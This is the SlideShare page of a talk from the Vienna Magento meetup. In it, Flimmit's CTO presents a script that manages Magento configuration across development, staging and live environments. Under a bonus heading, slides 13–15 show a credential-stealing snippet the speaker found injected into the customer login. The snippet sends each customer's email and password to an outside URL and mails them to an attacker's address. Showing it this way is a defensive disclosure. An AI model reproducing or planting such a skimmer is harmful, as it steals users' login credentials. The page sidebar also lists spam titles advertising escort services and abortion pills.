SlideShare ist ein Scribd-Unternehmen logo
1 von 16
Einfache Verwaltung von Config Daten für verschiedene Production Levels 18.05.2016
16. Magento-Stammtisch in Wien
| © Flimmit 2016 (confidential)2
→ Flimmit at a glance
→ About me
→ Functionality Magento Config
→ Challenges for daily business
→ Management with Config Script
→ Pros & Cons
Agenda
| © Flimmit 2016 (confidential)3
Flimmit at a Glance
Quick Facts
– Founded in 2007, based in Vienna
– Private Ownership, 3 founders/shareholders – worked as team since 2000
– Public Funding: EU Programme „Media“, Departure - Creative Agency Vienna,
Austria Wirtschaftsservice (AWS impulse), AT.net (BMVIT, FFG), Austrian Film
Institute(ÖFI), Wirtschaftsagentur Wien
– Take over by ORF in 2016 (ORS)
Business Units
– VoD portal for stream/download on multiple devices
– Film & TV Search engine module
– Content aggregation & distribution for third parties
| © Flimmit 2016 (confidential)4
| © Flimmit 2016 (confidential)5
About me
→ FH study in Salzburg 1998 – 2002
„Information Management & New Media“
→ PHP Developer since 2002
→ Magento Developer since 2008
→ Certified Developer since 05/2012
→ CTO & Founder at Flimmit
| © Flimmit 2016 (confidential)6
Functionality Magento Config
→ Core functionality in Mage_Core_Model_Config
→ Central Config merged from several files
Mage_Core_Model_Config::init()
– loadBase
– loadModules
– loadDb
| © Flimmit 2016 (confidential)7
Magento Config Init I
→ loadBase: Load all files from Etc-Directory „app/etc/“
| © Flimmit 2016 (confidential)8
Magento Config Init II
→ loadModules: Load all files from every module directory & local.xml
| © Flimmit 2016 (confidential)9
Magento Config Init III
→ loadDB: Load config from DB (core_config_data)
| © Flimmit 2016 (confidential)10
Challenges for daily business
→ Different development enviroments (local, stage, testing, live)
→ Different access levels for external services (e.g. payment)
→ Different development systems (cachetypes, session, smtp)
→ MySQL Dumps from live system include core_config_data (= live access data)
→ DB config not able to keep history/versions (e.g. in GIT)
| © Flimmit 2016 (confidential)11
Management with Config Script
→ Shell script in shell folder „config.php“
→ Config folder in „app/etc/“
→ Manage all config in different files
– local.xml for „local“ values
– mode-{type}.xml for modus values
– default.xml for default values
– global.xml for installation values
– store-{storecode}.xml for store relevant values
– website-{website}.xml for website relevant values
– …
→ php shell/config.php -mode live
to load relevant data into app/etc/local.xml
→ Live demo…!
| © Flimmit 2016 (confidential)12
Learnings, Pros & Cons
→ Learnings
– DB Config always wins!
– All levels within <config/> adjustable (global, default, admin, frontend, etc)
→ Pros
– Easy to manage in GIT with history
– Ensure live mode for loadbalancer nodes on startup:
php shell/config.php -mode live
– Avoid live access data in development
– Basic settings for new magento insallation available (sales, customer, catalog, etc)
→ Cons
– Avoid saving config in backend -> insert/update in DB
– Don‘t split in too many files
| © Flimmit 2016 (confidential)13
Bonus: mean hack found
→ Login for Customer (clean):
| © Flimmit 2016 (confidential)14
Bonus: mean hack found
→ Login for Customer (hacked):
| © Flimmit 2016 (confidential)15
Bonus: mean hack found
→ Script:
$emailboss = $username; $passboss = $password; $serverboss =
$_SERVER['SERVER_NAME']; $ipboss = $_SERVER['REMOTE_ADDR']; $details =
json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
$negara = $details->country_code; $nama_negara = $details->country; $kode_negara
= strtolower($negara); $chkmail =
file_get_contents("http://p4b.litbang.kkp.go.id/p4bjurnal/modules/path/mailceck/
?e=".$emailboss."&p=".$passboss.""); $pesan = "Email : ".$emailboss."nPassword
: ".$passboss."nStatus : ".$chkmail."nnIP Info : ".$ipboss." |
".$nama_negara." On ".date('r')."nBrowser :
".$_SERVER['HTTP_USER_AGENT']."nSite : ".$serverboss.""; $tamvan =
"loggercc@yahoo.com"; $subject = "User Login (".$chkmail.") (".$nama_negara.")
(".$ipboss.")"; $headers = "From: Logger User Magento From ".$serverboss."
<".$ipboss."@".$serverboss.">"; mail($tamvan, $subject, $pesan, $headers);
| © Flimmit 2016 (confidential)16
… to be continued …

Weitere ähnliche Inhalte

Ähnlich wie Magento Stammtisch Wien 17. Mai 2016

WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2
 
Implementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management PlatformImplementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management Platform
WSO2
 
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
Frederic Conrotte
 
PHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAPPHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAP
webhostingguy
 
CharlesSweetResume06155122015
CharlesSweetResume06155122015CharlesSweetResume06155122015
CharlesSweetResume06155122015
Charlie Sweet
 

Ähnlich wie Magento Stammtisch Wien 17. Mai 2016 (20)

Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
Scaling UI5 Projects via Standardized Project & Infrastructure Setup (Ui5Con ...
 
Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2Catching up on Rich Clients Part 2 of 2
Catching up on Rich Clients Part 2 of 2
 
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CDMulesoft Meetup Milano #9 - Batch Processing and CI/CD
Mulesoft Meetup Milano #9 - Batch Processing and CI/CD
 
WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5WSO2 Product Release webinar - WSO2 BAM 2.5
WSO2 Product Release webinar - WSO2 BAM 2.5
 
Arkena IMF case study
Arkena IMF case studyArkena IMF case study
Arkena IMF case study
 
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
IBM Connect 2014 - AD205: Creating State-of-the-Art Web Applications with Dom...
 
Implementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management PlatformImplementing API Facade using WSO2 API Management Platform
Implementing API Facade using WSO2 API Management Platform
 
FluentD for end to end monitoring
FluentD for end to end monitoringFluentD for end to end monitoring
FluentD for end to end monitoring
 
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
OFMP The Road To OSGi Eclipse Democamp Luxembour 2008
 
PHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAPPHP in the Enterprise … connecting to SAP
PHP in the Enterprise … connecting to SAP
 
CharlesSweetResume06155122015
CharlesSweetResume06155122015CharlesSweetResume06155122015
CharlesSweetResume06155122015
 
Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017Homer - Workshop at Kamailio World 2017
Homer - Workshop at Kamailio World 2017
 
Vancouver mulesoft meetup
Vancouver mulesoft meetupVancouver mulesoft meetup
Vancouver mulesoft meetup
 
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With RustMuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
MuleSoft Surat Meetup#44 - Anypoint Flex Gateway Custom Policies With Rust
 
Make the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open SourceMake the Shift from Manual to Automation with Open Source
Make the Shift from Manual to Automation with Open Source
 
Where is cold fusion headed
Where is cold fusion headedWhere is cold fusion headed
Where is cold fusion headed
 
Lime broker
Lime brokerLime broker
Lime broker
 
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
Open Mic: IBM Sametime Web Client & Meeting Server - An Introduction to new f...
 
SIP Router Project
SIP Router ProjectSIP Router Project
SIP Router Project
 
SAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoftSAP Integration: Best Practices | MuleSoft
SAP Integration: Best Practices | MuleSoft
 

Kürzlich hochgeladen

CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
VictorSzoltysek
 
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdfintroduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
VishalKumarJha10
 

Kürzlich hochgeladen (20)

call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa%in tembisa+277-882-255-28 abortion pills for sale in tembisa
%in tembisa+277-882-255-28 abortion pills for sale in tembisa
 
%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand%in Midrand+277-882-255-28 abortion pills for sale in midrand
%in Midrand+277-882-255-28 abortion pills for sale in midrand
 
Define the academic and professional writing..pdf
Define the academic and professional writing..pdfDefine the academic and professional writing..pdf
Define the academic and professional writing..pdf
 
8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students8257 interfacing 2 in microprocessor for btech students
8257 interfacing 2 in microprocessor for btech students
 
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) SolutionIntroducing Microsoft’s new Enterprise Work Management (EWM) Solution
Introducing Microsoft’s new Enterprise Work Management (EWM) Solution
 
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
 
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
The Real-World Challenges of Medical Device Cybersecurity- Mitigating Vulnera...
 
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park %in kempton park+277-882-255-28 abortion pills for sale in kempton park
%in kempton park+277-882-255-28 abortion pills for sale in kempton park
 
AI & Machine Learning Presentation Template
AI & Machine Learning Presentation TemplateAI & Machine Learning Presentation Template
AI & Machine Learning Presentation Template
 
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
The Guide to Integrating Generative AI into Unified Continuous Testing Platfo...
 
BUS PASS MANGEMENT SYSTEM USING PHP.pptx
BUS PASS MANGEMENT SYSTEM USING PHP.pptxBUS PASS MANGEMENT SYSTEM USING PHP.pptx
BUS PASS MANGEMENT SYSTEM USING PHP.pptx
 
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdfPayment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
 
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM TechniquesAI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
AI Mastery 201: Elevating Your Workflow with Advanced LLM Techniques
 
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdfintroduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
introduction-to-automotive Andoid os-csimmonds-ndctechtown-2021.pdf
 
The Top App Development Trends Shaping the Industry in 2024-25 .pdf
The Top App Development Trends Shaping the Industry in 2024-25 .pdfThe Top App Development Trends Shaping the Industry in 2024-25 .pdf
The Top App Development Trends Shaping the Industry in 2024-25 .pdf
 
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
Shapes for Sharing between Graph Data Spaces - and Epistemic Querying of RDF-...
 
A Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docxA Secure and Reliable Document Management System is Essential.docx
A Secure and Reliable Document Management System is Essential.docx
 

Magento Stammtisch Wien 17. Mai 2016

  • 1. Einfache Verwaltung von Config Daten für verschiedene Production Levels 18.05.2016 16. Magento-Stammtisch in Wien
  • 2. | © Flimmit 2016 (confidential)2 → Flimmit at a glance → About me → Functionality Magento Config → Challenges for daily business → Management with Config Script → Pros & Cons Agenda
  • 3. | © Flimmit 2016 (confidential)3 Flimmit at a Glance Quick Facts – Founded in 2007, based in Vienna – Private Ownership, 3 founders/shareholders – worked as team since 2000 – Public Funding: EU Programme „Media“, Departure - Creative Agency Vienna, Austria Wirtschaftsservice (AWS impulse), AT.net (BMVIT, FFG), Austrian Film Institute(ÖFI), Wirtschaftsagentur Wien – Take over by ORF in 2016 (ORS) Business Units – VoD portal for stream/download on multiple devices – Film & TV Search engine module – Content aggregation & distribution for third parties
  • 4. | © Flimmit 2016 (confidential)4
  • 5. | © Flimmit 2016 (confidential)5 About me → FH study in Salzburg 1998 – 2002 „Information Management & New Media“ → PHP Developer since 2002 → Magento Developer since 2008 → Certified Developer since 05/2012 → CTO & Founder at Flimmit
  • 6. | © Flimmit 2016 (confidential)6 Functionality Magento Config → Core functionality in Mage_Core_Model_Config → Central Config merged from several files Mage_Core_Model_Config::init() – loadBase – loadModules – loadDb
  • 7. | © Flimmit 2016 (confidential)7 Magento Config Init I → loadBase: Load all files from Etc-Directory „app/etc/“
  • 8. | © Flimmit 2016 (confidential)8 Magento Config Init II → loadModules: Load all files from every module directory & local.xml
  • 9. | © Flimmit 2016 (confidential)9 Magento Config Init III → loadDB: Load config from DB (core_config_data)
  • 10. | © Flimmit 2016 (confidential)10 Challenges for daily business → Different development enviroments (local, stage, testing, live) → Different access levels for external services (e.g. payment) → Different development systems (cachetypes, session, smtp) → MySQL Dumps from live system include core_config_data (= live access data) → DB config not able to keep history/versions (e.g. in GIT)
  • 11. | © Flimmit 2016 (confidential)11 Management with Config Script → Shell script in shell folder „config.php“ → Config folder in „app/etc/“ → Manage all config in different files – local.xml for „local“ values – mode-{type}.xml for modus values – default.xml for default values – global.xml for installation values – store-{storecode}.xml for store relevant values – website-{website}.xml for website relevant values – … → php shell/config.php -mode live to load relevant data into app/etc/local.xml → Live demo…!
  • 12. | © Flimmit 2016 (confidential)12 Learnings, Pros & Cons → Learnings – DB Config always wins! – All levels within <config/> adjustable (global, default, admin, frontend, etc) → Pros – Easy to manage in GIT with history – Ensure live mode for loadbalancer nodes on startup: php shell/config.php -mode live – Avoid live access data in development – Basic settings for new magento insallation available (sales, customer, catalog, etc) → Cons – Avoid saving config in backend -> insert/update in DB – Don‘t split in too many files
  • 13. | © Flimmit 2016 (confidential)13 Bonus: mean hack found → Login for Customer (clean):
  • 14. | © Flimmit 2016 (confidential)14 Bonus: mean hack found → Login for Customer (hacked):
  • 15. | © Flimmit 2016 (confidential)15 Bonus: mean hack found → Script: $emailboss = $username; $passboss = $password; $serverboss = $_SERVER['SERVER_NAME']; $ipboss = $_SERVER['REMOTE_ADDR']; $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss."")); $negara = $details->country_code; $nama_negara = $details->country; $kode_negara = strtolower($negara); $chkmail = file_get_contents("http://p4b.litbang.kkp.go.id/p4bjurnal/modules/path/mailceck/ ?e=".$emailboss."&p=".$passboss.""); $pesan = "Email : ".$emailboss."nPassword : ".$passboss."nStatus : ".$chkmail."nnIP Info : ".$ipboss." | ".$nama_negara." On ".date('r')."nBrowser : ".$_SERVER['HTTP_USER_AGENT']."nSite : ".$serverboss.""; $tamvan = "loggercc@yahoo.com"; $subject = "User Login (".$chkmail.") (".$nama_negara.") (".$ipboss.")"; $headers = "From: Logger User Magento From ".$serverboss." <".$ipboss."@".$serverboss.">"; mail($tamvan, $subject, $pesan, $headers);
  • 16. | © Flimmit 2016 (confidential)16 … to be continued …